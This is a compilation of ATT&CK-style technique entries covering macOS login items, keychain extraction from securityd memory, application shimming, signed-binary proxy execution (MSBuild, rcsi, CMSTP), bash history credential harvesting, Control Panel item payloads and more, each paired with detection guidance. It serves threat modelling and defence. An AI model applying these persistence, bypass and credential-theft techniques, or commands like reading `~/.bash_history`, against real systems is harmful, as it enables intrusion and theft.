MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user’s context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user’s <code>~/Library/Preferences/</code> directory in a plist file called <code>com.apple.loginitems.plist</code> (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don’t all have to since there is an option to ‘Hide’ the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware).
Detection: All the login items are viewable by going to the Apple menu → System Preferences → Users & Groups → Login items. This area should be monitored and whitelisted for known good applications. Monitor process execution resulting from login actions for unusual or unknown applications.
Platforms: macOS
Permissions Required: User
Command-Line Interface - T1059
Command-line interfaces provide a way of interacting with computer systems and is a common feature across many types of operating system platforms. (Citation: Wikipedia Command-Line Interface) One example command-line interface on Windows systems is cmd, which can be used to perform a number of tasks including execution of other software. Command-line interfaces can be interacted with locally or remotely via a remote desktop application, reverse shell session, etc. Commands that are executed run with the current permission level of the command-line interface process unless the command includes process invocation that changes permissions context for that execution (e.g. Scheduled Task).
Adversaries may use command-line interfaces to interact with systems and execute other software during the course of an operation.
Detection: Command-line interface activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools.
Platforms: Linux, Windows, macOS
Data Sources: Process command-line parameters, Process monitoring
Permissions Required: Administrator, SYSTEM, User
Remote Support: No
Links |
Exfiltration Over Command and Control Channel - T1041
Data exfiltration is performed over the Command and Control channel. Data is encoded into the normal communications channel using the same protocol as command and control communications.
Detection: Detection for command and control applies. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)
Platforms: Linux, macOS, Windows
Data Sources: User interface, Process monitoring
Requires Network: Yes
Links |
User Execution - T1204
An adversary may rely upon specific actions by a user in order to gain execution. This may be direct code execution, such as when a user opens a malicious executable delivered via Spearphishing Attachment with the icon and apparent extension of a document file. It also may lead to other execution techniques, such as when a user clicks on a link delivered via Spearphishing Link that leads to exploitation of a browser or application vulnerability via Exploitation for Client Execution. While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user’s desktop hoping that a user will click on it.
Detection: Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to Deobfuscate/Decode Files or Information in payloads.
Anti-virus can potentially detect malicious documents and files that are downloaded and execuited on the user’s computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as Exploitation for Client Execution and Scripting.
Platforms: Linux, Windows, macOS
Data Sources: Anti-virus, Process command-line parameters, Process monitoring
Permissions Required: User
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Multi-Stage Channels - T1104
Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.
Remote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.
The different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or Fallback Channels in case the original first-stage communication path is discovered and blocked.
Detection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from Discovery of the system and network information or Lateral Movement to the originating process may also yield useful data.
Platforms: Linux, macOS, Windows
Data Sources: Netflow/Enclave netflow, Network device logs, Network protocol analysis, Packet capture, Process use of network
Requires Network: Yes
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Securityd Memory - T1167
In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)
If an adversary can obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)
Platforms: macOS
Data Sources: Process Monitoring
Permissions Required: root
Spearphishing Attachment - T1193
Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution.
There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary’s payload exploits a vulnerability or directly executes on the user’s system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.
Detection: Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.
Anti-virus can potentially detect malicious documents and attachments as they’re scanned to be stored on the email server or on the user’s computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as Exploitation for Client Execution and Scripting.
Platforms: Linux, Windows, macOS
Data Sources: File monitoring, Packet capture, Mail server, Network intrusion detection system, Detonation chamber, Email gateway
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Application Shimming - T1138
The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow backward compatibility of programs as Windows updates and changes its code. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Engame Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses Hooking to redirect the code as necessary in order to communicate with the OS. A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:
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<code>%WINDIR%\AppPatch\sysmain.sdb</code>
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<code>hklm\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb</code>
Custom databases are stored in:
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<code>%WINDIR%\AppPatch\custom & %WINDIR%\AppPatch\AppPatch64\Custom</code>
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<code>hklm\software\microsoft\windows nt\currentversion\appcompatflags\custom</code>
To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to Bypass User Account Control (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to Hooking, utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.
Detection: There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):
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Shim-Process-Scanner - checks memory of every running process for any Shim flags
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Shim-Detector-Lite - detects installation of custom shim databases
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Shim-Guard - monitors registry for any shim installations
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ShimScanner - forensic tool to find active shims in memory
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ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)
Monitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.
Platforms: Windows
Data Sources: Loaded DLLs, System calls, Windows Registry, Process Monitoring, Process command-line parameters
Permissions Required: Administrator
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Input Capture - T1056
Adversaries can use methods of capturing user input for obtaining credentials for Valid Accounts and information Collection that include keylogging and user input field interception.
Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes, (Citation: Adventures of a Keystroke) but other methods exist to target information for specific purposes, such as performing a UAC prompt or wrapping the Windows default credential provider. (Citation: Wrightson 2012)
Keylogging is likely to be used to acquire credentials for new access opportunities when Credential Dumping efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises.
Adversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service. (Citation: Volexity Virtual Private Keylogging)
Detection: Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include SetWindowsHook, GetKeyState, and GetAsynceyState. (Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes and detect driver installs, as well as looking for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.
Monitor the Registry for the addition of a Custom Credential Provider. (Citation: Wrightson 2012) Detection of compromised Valid Accounts in use by adversaries may help to catch the result of user input interception if new techniques are used.
Platforms: Linux, macOS, Windows
Data Sources: Windows Registry, Kernel drivers, Process monitoring, API monitoring
Permissions Required: Administrator, SYSTEM
Contributors: John Lambert, Microsoft Threat Intelligence Center
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Regsvcs/Regasm - T1121
Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)
Adversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)
Detection: Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.
Platforms: Windows
Data Sources: Process monitoring, Process command-line parameters
Defense Bypassed: Process whitelisting
Permissions Required: User, Administrator
Remote Support: No
Contributors: Casey Smith
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Trusted Developer Utilities - T1127
There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application whitelisting defensive solutions.
===MSBuild===
MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It takes XML formatted project files that define requirements for building various platforms and configurations. (Citation: MSDN MSBuild)
Adversaries can use MSBuild to proxy execution of code through a trusted Windows utility. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into the XML project file. (Citation: MSDN MSBuild) Inline Tasks MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)
===DNX===
The .NET Execution Environment (DNX), dnx.exe, is a software development kit packaged with Visual Studio Enterprise. It was retired in favor of .NET Core CLI in 2016. (Citation: Microsoft Migrating from DNX) DNX is not present on standard builds of Windows and may only be present on developer workstations using older versions of .NET Core and ASP.NET Core 1.0. The dnx.exe executable is signed by Microsoft.
An adversary can use dnx.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for DNX. (Citation: engima0x3 DNX Bypass)
===RCSI===
The rcsi.exe utility is a non-interactive command-line interface for C# that is similar to csi.exe. It was provided within an early version of the Roslyn .NET Compiler Platform but has since been deprecated for an integrated solution. (Citation: Microsoft Roslyn CPT RCSI) The rcsi.exe binary is signed by Microsoft. (Citation: engima0x3 RCSI Bypass)
C# .csx script files can be written and executed with rcsi.exe at the command-line. An adversary can use rcsi.exe to proxy execution of arbitrary code to bypass application whitelisting policies that do not account for execution of rcsi.exe. (Citation: engima0x3 RCSI Bypass)
===WinDbg/CDB===
WinDbg is a Microsoft Windows kernel and user-mode debugging utility. The Microsoft Console Debugger (CDB) cdb.exe is also user-mode debugger. Both utilities are included in Windows software development kits and can be used as standalone tools. (Citation: Microsoft Debugging Tools for Windows) They are commonly used in software development and reverse engineering and may not be found on typical Windows systems. Both WinDbg.exe and cdb.exe binaries are signed by Microsoft.
An adversary can use WinDbg.exe and cdb.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for execution of those utilities. (Citation: Exploit Monday WinDbg)
It is likely possible to use other debuggers for similar purposes, such as the kernel-mode debugger kd.exe, which is also signed by Microsoft.
===Tracker===
The file tracker utility, tracker.exe, is included with the .NET framework as part of MSBuild. It is used for logging calls to the Windows file system. (Citation: Microsoft Docs File Tracking)
An adversary can use tracker.exe to proxy execution of an arbitrary DLL into another process. Since tracker.exe is also signed it can be used to bypass application whitelisting solutions. (Citation: Twitter SubTee Tracker.exe)
Detection: The presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.
Use process monitoring to monitor the execution and arguments of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.
Platforms: Windows
Data Sources: Process monitoring
Defense Bypassed: Application whitelisting
Permissions Required: User
System Requirements: MSBuild: .NET Framework version 4 or higher DNX: .NET 4.5.2, Powershell 4.0 RCSI: .NET 4.5 or later, Visual Studio 2012
Remote Support: No
Contributors: Casey Smith, Matthew Demaske, Adaptforward
System Network Configuration Discovery - T1016
Adversaries will likely look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp, ipconfig/ifconfig, nbtstat, and route.
Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Platforms: Linux, macOS, Windows
Data Sources: Process command-line parameters, Process monitoring
Permissions Required: User
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Scheduled Task - T1053
Utilities such as at and schtasks, along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the the remote system. (Citation: TechNet Task Scheduler Security)
An adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account.
Detection: Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Monitor process execution from the <code>svchost.exe</code> in Windows 10 and the Windows Task Scheduler <code>taskeng.exe</code> for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in <code>%systemroot%\System32\Tasks</code> for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)
*Event ID 106 - Scheduled task registered *Event ID 140 - Scheduled task updated *Event ID 141 - Scheduled task removed
Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Look for changes to tasks that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data.
Monitor processes and command-line arguments for actions that could be taken to create tasks. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.
Platforms: Windows
Data Sources: File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Effective Permissions: Administrator, SYSTEM, User
Permissions Required: Administrator, SYSTEM, User
Remote Support: Yes
Contributors: Travis Smith, Tripwire, Leo Loobeek, @leoloobeek, Alain Homewood, Insomnia Security
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Trap - T1154
The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where "command list" will be executed when "signals" are received.
Detection: Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.
Platforms: Linux, macOS
Data Sources: File monitoring, Process Monitoring, Process command-line parameters
Permissions Required: User, Administrator
Remote Support: No
Links |
Windows Management Instrumentation - T1047
Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI)
An adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI 2015)
Detection: Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of "wmic" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015)
Platforms: Windows
Data Sources: Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Permissions Required: User, Administrator
System Requirements: WMI service, winmgmt, running. Host/network firewalls allowing SMB and WMI ports from source to destination. SMB authentication.
Remote Support: Yes
Links |
NTFS File Attributes - T1096
Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternative Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)
Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)
Detection: Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions, used to interact with EA, and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)
The Streams tool of Sysinternals can be used to uncover files with ADSs. The <code>dir /r</code> command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a <code>-stream</code> parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)
Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: <code>file.ext:ads[.ext]</code>) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014)
Platforms: Windows
Data Sources: File monitoring, Kernel drivers, API monitoring
Defense Bypassed: Signature-based detection, Anti-virus, Host forensic analysis
System Requirements: NTFS partitioned hard drive
Contributors: Red Canary
Remote Access Tools - T1219
An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be whitelisted within a target environment. Remote access tools like VNC, Ammy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)
Remote access tools may be established and used post-compromise as alternate communications channel for Redundant Access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system.
Admin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns. (Citation: CrowdStrike 2015 Global Threat Report) (Citation: CrySyS Blog TeamSpy)
Detection: Monitor for applications and processes related to remote admin tools. Correlate activity with other suspicious behavior that may reduce false positives if these tools are used by legitimate users and administrators.
Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.
Domain Fronting may be used in conjunction to avoid defenses. Adversaries will likely need to deploy and/or install these remote tools to compromised systems. It may be possible to detect or prevent the installation of these tools with host-based solutions.
Platforms: Linux, Windows, macOS
Data Sources: Network intrusion detection system, Network protocol analysis, Process use of network, Process Monitoring
Permissions Required: User
Requires Network: Yes
Contributors: Matt Kelly, @breakersall
Links |
https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf |
Bash History - T1139
Bash keeps track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user’s <code>.bash_history</code> file. For each user, this file resides at the same location: <code>~/.bash_history</code>. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)
Detection: Monitoring when the user’s <code>.bash_history</code> is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like "history" instead of commands like <code>cat ~/.bash_history</code>.
Platforms: Linux, macOS
Data Sources: File monitoring, Process monitoring, Process command-line parameters
Permissions Required: User
Links |
http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way |
Process Discovery - T1057
Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network.
===Windows===
An example command that would obtain details on processes is "tasklist" using the Tasklist utility.
===Mac and Linux===
In Mac and Linux, this is accomplished with the <code>ps</code> command.
Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Normal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Platforms: Linux, macOS, Windows
Data Sources: Process command-line parameters, Process monitoring
Permissions Required: User, Administrator, SYSTEM
System Requirements: Administrator, SYSTEM may provide better process ownership details
Links |
System Firmware - T1019
The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)
System firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.
Detection: System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.
Likewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)
Platforms: Windows
Data Sources: API monitoring, BIOS, EFI
Permissions Required: Administrator, SYSTEM
Contributors: Ryan Becwar, McAfee
Registry Run Keys / Start Folder - T1060
Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) The program will be executed under the context of the user and will have the account’s associated permissions level.
Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.
Detection: Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.
Changes to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
Platforms: Windows
Data Sources: Windows Registry, File monitoring
Permissions Required: User, Administrator
Links |
Service Execution - T1035
Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with New Service and Modify Existing Service during service persistence or privilege escalation.
Detection: Changes to service Registry entries and command-line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool PsExec.
Platforms: Windows
Data Sources: Windows Registry, Process command-line parameters, Process monitoring
Permissions Required: Administrator, SYSTEM
Remote Support: Yes
Links |
Uncommonly Used Port - T1065
Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.
Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)
Platforms: Linux, macOS, Windows
Data Sources: Netflow/Enclave netflow, Process use of network, Process monitoring
Requires Network: Yes
Links |
CMSTP - T1191
The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.
Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to Regsvr32 / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.
CMSTP.exe can also be abused to Bypass User Account Control and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List)
Detection: Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.
Platforms: Windows
Data Sources: Process Monitoring, Process command-line parameters
Defense Bypassed: Application whitelisting, Anti-virus
Permissions Required: User
Remote Support: No
Contributors: Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank
Links |
https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10) |
Control Panel Items - T1196
Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)
For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)
Adversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via Spearphishing Attachment campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.
Detection: Monitor and analyze activity related to items associated with CPL files, such as the Windows Control Panel process binary (control.exe) and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: <code>control.exe file.cpl</code>) before Rundll32 is used to call the CPL’s API functions (ex: <code>rundll32.exe shell32.dll,Control_RunDLL file.cpl</code>). CPL files can be executed directly via the CPL API function with just the latter Rundll32 command, which may bypass detections and/or execution filters for control.exe. (Citation: TrendMicro CPL Malware Jan 2014)
